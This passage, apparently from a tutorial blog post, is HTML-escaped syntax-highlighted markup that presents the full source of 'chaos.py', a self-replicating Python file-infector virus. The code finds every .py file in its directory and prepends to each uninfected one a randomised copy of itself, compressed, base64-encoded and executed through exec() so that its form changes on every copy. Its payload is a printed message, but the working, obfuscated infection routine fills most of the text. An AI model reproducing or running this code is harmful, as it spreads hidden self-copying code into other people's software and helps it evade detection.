          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;viral_vector&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;exec(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;import zlib&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;nimport base64&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;nexec(zlib.decompress(base64.urlsafe_b64decode(&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;str(obscured_virus_code)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;)))&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;)&quot;&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;write(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;# begin-&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;viral_vector&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;# end-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;writelines(data)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The complete source code of our new virus could be similar to this:&lt;/p&gt;

&lt;!--HTML generated using hilite.me--&gt;&lt;div style=&quot;background: rgb(39, 40, 34) none repeat scroll 0% 0%; border-color: gray; border-image: none 100% / 1 / 0 stretch; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;&quot;&gt;&lt;pre style=&quot;line-height: 125%; margin: 0px;&quot;&gt;&lt;span style=&quot;color: #75715e;&quot;&gt;# ################&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# chaos.py&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# a Python virus&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# ###############&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# begin-78ea1850f48d1c1802f388db81698fd0&lt;/span&gt;
&lt;span style=&quot;color: #f92672;&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;base64&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;zlib&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_of_file&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file):&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# return the content of a file&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;my_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;readlines()&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_content_if_infectable&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# return the content of a file only if it hasn&#39;t been infected yet&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(file)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;None&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;data&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;obscure&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bytes)&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;bytes:&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# obscure a stream of bytes compressing it and encoding it in base64&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;base64&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;urlsafe_b64encode(zlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;compress(data,&lt;/span&gt; &lt;span style=&quot;color: #ae81ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;transform_and_obscure_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# transforms the virus code adding some randomic contents, compressing it and converting it in base64&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code:&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# &quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;str(random&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;randrange(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;1000000&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;new_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscure(bytes(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;join(new_virus_code),&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&#39;utf-8&#39;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;find_files_to_infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(directory&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# find other files that can potentially be infected&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[file&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;glob(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;*.py&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)]&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;summon_chaos&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# the virus payload&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;print(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;We are sick, fked up and complicated&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;We are chaos, we can&#39;t be cured&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;infect&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code):&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# infect a single file. The routine open the file and if it&#39;s not been infected yet, infect the file with a custom version of the virus code&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;md5(file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hexdigest()&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;(data:&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_if_infectable(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash)):&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;obscured_virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;transform_and_obscure_virus_code(virus_code)&lt;/span&gt;
          &lt;span style=&quot;color: #f8f8f2;&quot;&gt;viral_vector&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;exec(&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;import zlib&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;nimport base64&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;nexec(zlib.decompress(base64.urlsafe_b64decode(&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;str(obscured_virus_code)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;)))&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;)&quot;&lt;/span&gt;

          &lt;span style=&quot;color: #66d9ef;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;open(file,&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;w&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;write(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;# begin-&quot;&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;viral_vector&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;# end-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infected_file&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;writelines(data)&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #a6e22e;&quot;&gt;get_virus_code&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;():&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# open the current file and returns the virus code, that is the code between the&lt;/span&gt;
     &lt;span style=&quot;color: #75715e;&quot;&gt;# begin-{hash} and the end-{hash} tags&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;[]&lt;/span&gt;

     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;hashlib&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;md5(os&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;basename(__file__)&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;encode(&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;))&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;hexdigest()&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_content_of_file(__file__)&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;code:&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# begin-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;True&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;&lt;span style=&quot;color: #f92672;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;append(line&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #ae81ff;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;)&lt;/span&gt;
          &lt;span style=&quot;color: #66d9ef;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #e6db74;&quot;&gt;&quot;# end-&quot;&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;+&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_hash&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;line:&lt;/span&gt;
               &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code_on&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #66d9ef;&quot;&gt;False&lt;/span&gt;
               &lt;span style=&quot;color: #66d9ef;&quot;&gt;break&lt;/span&gt;

     &lt;span style=&quot;color: #66d9ef;&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# entry point&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
&lt;span style=&quot;color: #75715e;&quot;&gt;# retrieve the virus code from the current infected script&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;get_virus_code()&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# look for other files to infect&lt;/span&gt;
&lt;span style=&quot;color: #66d9ef;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;file&lt;/span&gt; &lt;span style=&quot;color: #f92672;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;find_files_to_infect():&lt;/span&gt;
     &lt;span style=&quot;color: #f8f8f2;&quot;&gt;infect(file,&lt;/span&gt; &lt;span style=&quot;color: #f8f8f2;&quot;&gt;virus_code)&lt;/span&gt;

&lt;span style=&quot;color: #75715e;&quot;&gt;# call the payload&lt;/span&gt;
&lt;span style=&quot;color: #f8f8f2;&quot;&gt;summon_chaos()&lt;/span&gt;

&lt;span style=&quot;color: #66d9ef;&quot;&gt;except&lt;/span&gt;&lt;span style=&quot;color: #f8f8f2;&quot;&gt;:&lt;/span&gt;
     &lt;span style=&quot;color: #66d9ef;&quot;&gt;pass&lt;/span&gt;

